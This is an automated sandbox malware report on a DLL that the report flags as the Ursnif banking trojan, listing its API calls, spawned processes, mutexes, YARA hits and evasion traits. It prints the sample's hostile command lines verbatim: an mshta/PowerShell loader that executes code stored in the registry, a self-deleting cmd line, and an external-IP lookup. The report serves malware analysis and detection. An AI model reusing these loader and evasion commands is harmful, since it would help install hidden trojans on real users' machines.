Source: C:\Windows\System32\control.exe Code function: 30_2_007F5110 30_2_007F5110
Source: C:\Windows\System32\control.exe Code function: 30_2_007F410C 30_2_007F410C
Source: C:\Windows\System32\control.exe Code function: 30_2_0080E120 30_2_0080E120
Source: C:\Windows\System32\control.exe Code function: 30_2_00818AC0 30_2_00818AC0
Source: C:\Windows\System32\control.exe Code function: 30_2_00812AD8 30_2_00812AD8
Source: C:\Windows\System32\control.exe Code function: 30_2_0081C220 30_2_0081C220
Source: C:\Windows\System32\control.exe Code function: 30_2_00804240 30_2_00804240
Source: C:\Windows\System32\control.exe Code function: 30_2_00801248 30_2_00801248
Source: C:\Windows\System32\control.exe Code function: 30_2_008173EC 30_2_008173EC
Source: C:\Windows\System32\control.exe Code function: 30_2_00806CA4 30_2_00806CA4
Source: C:\Windows\System32\control.exe Code function: 30_2_008134C0 30_2_008134C0
Source: C:\Windows\System32\control.exe Code function: 30_2_007F3C3C 30_2_007F3C3C
Source: C:\Windows\System32\control.exe Code function: 30_2_0081D4D4 30_2_0081D4D4
Source: C:\Windows\System32\control.exe Code function: 30_2_007FD404 30_2_007FD404
Source: C:\Windows\System32\control.exe Code function: 30_2_007F34D8 30_2_007F34D8
Source: C:\Windows\System32\control.exe Code function: 30_2_00812428 30_2_00812428
Source: C:\Windows\System32\control.exe Code function: 30_2_0081AC50 30_2_0081AC50
Source: C:\Windows\System32\control.exe Code function: 30_2_0080C46C 30_2_0080C46C
Source: C:\Windows\System32\control.exe Code function: 30_2_00817DB4 30_2_00817DB4
Source: C:\Windows\System32\control.exe Code function: 30_2_007F9D1C 30_2_007F9D1C
Source: C:\Windows\System32\control.exe Code function: 30_2_0080CD1C 30_2_0080CD1C
Source: C:\Windows\System32\control.exe Code function: 30_2_00810530 30_2_00810530
Source: C:\Windows\System32\control.exe Code function: 30_2_00815684 30_2_00815684
Source: C:\Windows\System32\control.exe Code function: 30_2_0080BED0 30_2_0080BED0
Source: C:\Windows\System32\control.exe Code function: 30_2_00802EE8 30_2_00802EE8
Source: C:\Windows\System32\control.exe Code function: 30_2_00811638 30_2_00811638
Source: C:\Windows\System32\control.exe Code function: 30_2_007F1EA8 30_2_007F1EA8
Source: C:\Windows\System32\control.exe Code function: 30_2_00811E5C 30_2_00811E5C
Source: C:\Windows\System32\control.exe Code function: 30_2_00808670 30_2_00808670
Source: C:\Windows\System32\control.exe Code function: 30_2_007F572C 30_2_007F572C
Source: C:\Windows\System32\control.exe Code function: 30_2_0081772C 30_2_0081772C
Source: C:\Windows\System32\control.exe Code function: 30_2_00804F5C 30_2_00804F5C
Source: C:\Windows\System32\control.exe Code function: 30_2_00806F78 30_2_00806F78
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B78E57 CreateProcessAsUserW, 3_2_05B78E57
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01006D0A NtMapViewOfSection, 3_2_01006D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0100190C GetProcAddress,NtCreateSection,memset, 3_2_0100190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01004321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_01004321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_010084C1 NtQueryVirtualMemory, 3_2_010084C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B76DE0 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset, 3_2_05B76DE0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B674AE NtQueryInformationProcess, 3_2_05B674AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6C431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_05B6C431
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B70782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 3_2_05B70782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7BE80 NtMapViewOfSection, 3_2_05B7BE80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B761AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 3_2_05B761AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6710A GetProcAddress,NtCreateSection,memset, 3_2_05B6710A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B77950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 3_2_05B77950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B700DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 3_2_05B700DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7A806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 3_2_05B7A806
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B72331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 3_2_05B72331
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B75312 NtWriteVirtualMemory,VirtualProtectEx,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 3_2_05B75312
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B664C4 memset,NtQueryInformationProcess, 3_2_05B664C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6B7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 3_2_05B6B7D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6D77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 3_2_05B6D77A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B636BB NtGetContextThread,RtlNtStatusToDosError, 3_2_05B636BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B610C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 3_2_05B610C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B73829 NtQuerySystemInformation,RtlNtStatusToDosError, 3_2_05B73829
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7EAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 3_2_05B7EAC5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B75220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 3_2_05B75220
Source: C:\Windows\System32\control.exe Code function: 30_2_0080583C NtCreateSection, 30_2_0080583C
Source: C:\Windows\System32\control.exe Code function: 30_2_007F40C0 NtReadVirtualMemory, 30_2_007F40C0
Source: C:\Windows\System32\control.exe Code function: 30_2_008041D8 NtMapViewOfSection, 30_2_008041D8
Source: C:\Windows\System32\control.exe Code function: 30_2_0081A148 NtQueryInformationProcess, 30_2_0081A148
Source: C:\Windows\System32\control.exe Code function: 30_2_007FAA6C NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification, 30_2_007FAA6C
Source: C:\Windows\System32\control.exe Code function: 30_2_008104CC NtAllocateVirtualMemory, 30_2_008104CC
Source: C:\Windows\System32\control.exe Code function: 30_2_007F6D24 NtWriteVirtualMemory, 30_2_007F6D24
Source: C:\Windows\System32\control.exe Code function: 30_2_007F65E4 NtQueryInformationToken,NtQueryInformationToken,NtClose, 30_2_007F65E4
Source: C:\Windows\System32\control.exe Code function: 30_2_007F9660 NtSetContextThread,NtUnmapViewOfSection,NtClose, 30_2_007F9660
Source: C:\Windows\System32\control.exe Code function: 30_2_0082F002 NtProtectVirtualMemory,NtProtectVirtualMemory, 30_2_0082F002
Sample file is different than original file name gathered from version info
Source: zs5n5sI6N2.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs zs5n5sI6N2.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: zs5n5sI6N2.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: zs5n5sI6N2.dll ReversingLabs: Detection: 41%
Source: zs5n5sI6N2.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 272
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 408
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 436
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Cwbm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cwbm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB61.tmp" "c:\Users\user\AppData\Local\Temp\rn2v1u0v\CSCE8729092494447E68BAFD2B3DE7C4FE.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBAB.tmp" "c:\Users\user\AppData\Local\Temp\0rxpcrxp\CSC81748258BEC6426288BE9680C960B04E.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\zs5n5sI6N2.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\1759.bi1"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB61.tmp" "c:\Users\user\AppData\Local\Temp\rn2v1u0v\CSCE8729092494447E68BAFD2B3DE7C4FE.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBAB.tmp" "c:\Users\user\AppData\Local\Temp\0rxpcrxp\CSC81748258BEC6426288BE9680C960B04E.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\zs5n5sI6N2.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\1759.bi1"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220525 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E47.tmp Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@29/29@0/2
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_010068BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 3_2_010068BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{68A2BABC-A7A2-DABF-711C-CBAE35102FC2}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{DC3210A8-8B30-6ECC-F5D0-EF82F90493D6}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6848:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3456
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{80D36C7A-DFB0-B2C8-69B4-8306AD28679A}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: uwGXyM.pdb source: loaddll32.exe, 00000000.00000000.283526713.000000000040D000.00000002.00000001.01000000.00000003.sdmp, zs5n5sI6N2.dll
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.444837399.0000000006100000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.443008243.0000000006050000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.444837399.0000000006100000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.443008243.0000000006050000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_0100828B push ecx; ret 3_2_0100829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01007EA0 push ecx; ret 3_2_01007EA9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B83D9F push ecx; ret 3_2_05B83DAF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B63495 push ecx; mov dword ptr [esp], 00000002h 3_2_05B63496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B838A0 push ecx; ret 3_2_05B838A9
Source: C:\Windows\System32\control.exe Code function: 30_2_00814492 push ss; ret 30_2_00814493
PE file contains sections with non-standard names
Source: zs5n5sI6N2.dll Static PE information: section name: .erloc
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 3_2_05B6EC00
PE file contains an invalid checksum
Source: rn2v1u0v.dll.28.dr Static PE information: real checksum: 0x0 should be: 0x909a
Source: 0rxpcrxp.dll.32.dr Static PE information: real checksum: 0x0 should be: 0xaef5
Source: zs5n5sI6N2.dll Static PE information: real checksum: 0x79835 should be: 0x721d2
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.375616313.000000000509C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323251316.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373340776.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322813142.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324135232.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322932603.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.370749098.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323857679.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323438533.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6364, type: MEMORYSTR
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.508865065.0000000004F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.449708876.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.447845466.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.446537800.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373077205.000000000519A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373165051.0000000005219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\zs5n5sI6N2.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\zs5n5sI6N2.dll
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
